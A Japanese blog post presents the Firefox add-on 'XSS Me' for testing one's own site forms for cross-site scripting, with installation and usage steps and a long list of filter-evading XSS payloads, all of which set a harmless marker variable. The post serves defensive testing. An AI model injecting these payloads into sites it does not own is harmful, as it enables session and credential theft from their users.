Home –  Firefox – XSS脆弱性が調査できるFirefoxアドオン『XSS Me』

XSS脆弱性が調査できるFirefoxアドオン『XSS Me』


xssme-top

動的なウェブサイトを作るときには、クロスサイトスクリプティング (Cross Site Scripting、XSS) の脆弱性をなくすことを意識しますが、Twitter や mix でもセキュリティの欠陥はあるので、初心者には難しいと思います。(両方とも、はまちちゃん がアレしたw)
Firefox アドオンの 『XSS Me』 では簡単な XSS脆弱性発見ができます。

1. XSS Me のインストール

XSS Me :: Add-ons for Firefox から、インストールします。
その後、Firefox を再起動します。

2. XSS Me の使い方

ツール→XSS Me→Open XSS Me Sidebar でサイドバーを表示させます。
xss-me

XSS脆弱性を調査したいウェブサイトを表示させます。
その後、Test all forms with all attacks をクリックします。
xssme-sidebar

こんな結果画面が出てきます。
xss-results
もし、Failures があった場合は XSS されてしまう可能性があるということです。

最後に

自分で作成するウェブサービスにのみ使ってください。
大量にデータ送信を行うと一時的にデータを受け付けなくなるウェブサービスもあります。
もし、XSS脆弱性がある場合、
document.vulnerable=true を <script>alert("XSS");</script> に変えると、
XSS と表示されてしまいます。(javascript が実行可能)
XSS Me は下記のようなコードをフォームに自動で大量に入れていきます。

  • <meta http-equiv="refresh" content="0;url=javascript:document.vulnerable=true;">
  • <META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>document.vulnerable=true</SCRIPT>">
  • <SCRIPT>document.vulnerable=true;</SCRIPT>
  • <IMG SRC="jav ascript:document.vulnerable=true;">
  • <IMG SRC="javascript:document.vulnerable=true;">
  • <IMG SRC=" &#14; javascript:document.vulnerable=true;">
  • <BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=document.vulnerable=true;>
  • <<SCRIPT>document.vulnerable=true;//<</SCRIPT>
  • <SCRIPT <B>document.vulnerable=true;</SCRIPT>
  • <IMG SRC="javascript:document.vulnerable=true;"
  • <iframe src="javascript:document.vulnerable=true; <
  • <SCRIPT>a=/XSS/\ndocument.vulnerable=true;</SCRIPT>
  • \";document.vulnerable=true;;//
  • </TITLE><SCRIPT>document.vulnerable=true;</SCRIPT>
  • <INPUT TYPE="IMAGE" SRC="javascript:document.vulnerable=true;">
  • <BODY BACKGROUND="javascript:document.vulnerable=true;">
  • <BODY ONLOAD=document.vulnerable=true;>
  • <IMG DYNSRC="javascript:document.vulnerable=true;">
  • <IMG LOWSRC="javascript:document.vulnerable=true;">
  • <BGSOUND SRC="javascript:document.vulnerable=true;">
  • <BR SIZE="&{document.vulnerable=true}">
  • <LAYER SRC="javascript:document.vulnerable=true;"></LAYER>
  • <LINK REL="stylesheet" HREF="javascript:document.vulnerable=true;">
  • <STYLE>li {list-style-image: url("javascript:document.vulnerable=true;");</STYLE><UL><LI>XSS
  • シscriptセdocument.vulnerable=true;シ/scriptセ
  • <IFRAME SRC="javascript:document.vulnerable=true;"></IFRAME>
  • <FRAMESET><FRAME SRC="javascript:document.vulnerable=true;"></FRAMESET>
  • <TABLE BACKGROUND="javascript:document.vulnerable=true;">
  • <TABLE><TD BACKGROUND="javascript:document.vulnerable=true;">
  • <DIV STYLE="background-image: url(javascript:document.vulnerable=true;)">
  • <DIV STYLE="background-image: url(&#1;javascript:document.vulnerable=true;)">
  • <DIV STYLE="width: expression(document.vulnerable=true);">
  • <STYLE>@im\port'\ja\vasc\ript:document.vulnerable=true';</STYLE>
  • <IMG STYLE="xss:expr/*XSS*/ession(document.vulnerable=true)">
  • <XSS STYLE="xss:expression(document.vulnerable=true)">
  • exp/*<A STYLE='no\xss:noxss("*//*");xss:ex/*XSS*//*/*/pression(document.vulnerable=true)'>
  • <STYLE TYPE="text/javascript">document.vulnerable=true;</STYLE>
  • <STYLE>.XSS{background-image:url("javascript:document.vulnerable=true");}</STYLE><A CLASS=XSS></A
  • <STYLE type="text/css">BODY{background:url("javascript:document.vulnerable=true")}</STYLE>
  • <!–[if gte IE 4]><SCRIPT>document.vulnerable=true;</SCRIPT><![endif]–>
  • <BASE HREF="javascript:document.vulnerable=true;//">
  • <OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:document.vulnerable=true></OBJECT>
  • <XML ID=I><X><C><![CDATA[<IMG SRC="javas]]<![CDATA[cript:document.vulnerable=true;">]]</C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
  • <XML ID="xss"><I><B><IMG SRC="javas<!– –>cript:document.vulnerable=true"></B></I></XML><SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>
  • <HTML><BODY><?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"><?import namespace="t" implementation="#default#time2"><t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>document.vulnerable=true</SCRIPT>"></BODY></HTML>
  • <? echo('<SCR)';echo('IPT>document.vulnerable=true</SCRIPT>'); ?>
  • <HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-document.vulnerable=true;+ADw-/SCRIPT+AD4-
  • <a href="javascript#document.vulnerable=true;">
  • <div onmouseover="document.vulnerable=true;">
  • <img src="javascript:document.vulnerable=true;">
  • <img dynsrc="javascript:document.vulnerable=true;">
  • <input type="image" dynsrc="javascript:document.vulnerable=true;">
  • <bgsound src="javascript:document.vulnerable=true;">
  • &<script>document.vulnerable=true;</script>
  • &{document.vulnerable=true;};
  • <img src=&{document.vulnerable=true;};>
  • <link rel="stylesheet" href="javascript:document.vulnerable=true;">
  • <img src="mocha:document.vulnerable=true;">
  • <img src="livescript:document.vulnerable=true;">
  • <a href="about:<script>document.vulnerable=true;</script>">
  • <body onload="document.vulnerable=true;">
  • <div style="background-image: url(javascript:document.vulnerable=true;);">
  • <div style="behaviour: url([link to code]);">
  • <div style="binding: url([link to code]);">
  • <div style="width: expression(document.vulnerable=true;);">
  • <style type="text/javascript">document.vulnerable=true;</style>
  • <object classid="clsid:…" codebase="javascript:document.vulnerable=true;">
  • <style><!–</style><script>document.vulnerable=true;//–></script>
  • <<script>document.vulnerable=true;</script>
  • <![CDATA[<!–]]<script>document.vulnerable=true;//–></script>
  • <!– — –><script>document.vulnerable=true;</script><!– — –>
  • <img src="blah"onmouseover="document.vulnerable=true;">
  • <img src="blah>" onmouseover="document.vulnerable=true;">
  • <xml src="javascript:document.vulnerable=true;">
  • <xml id="X"><a><b><script>document.vulnerable=true;</script>;</b></a></xml>
  • <div datafld="b" dataformatas="html" datasrc="#X"></div>
  • [\xC0][\xBC]script>document.vulnerable=true;[\xC0][\xBC]/script>

コメントを残す

メールアドレスが公開されることはありません。 * が付いている欄は必須項目です

CAPTCHA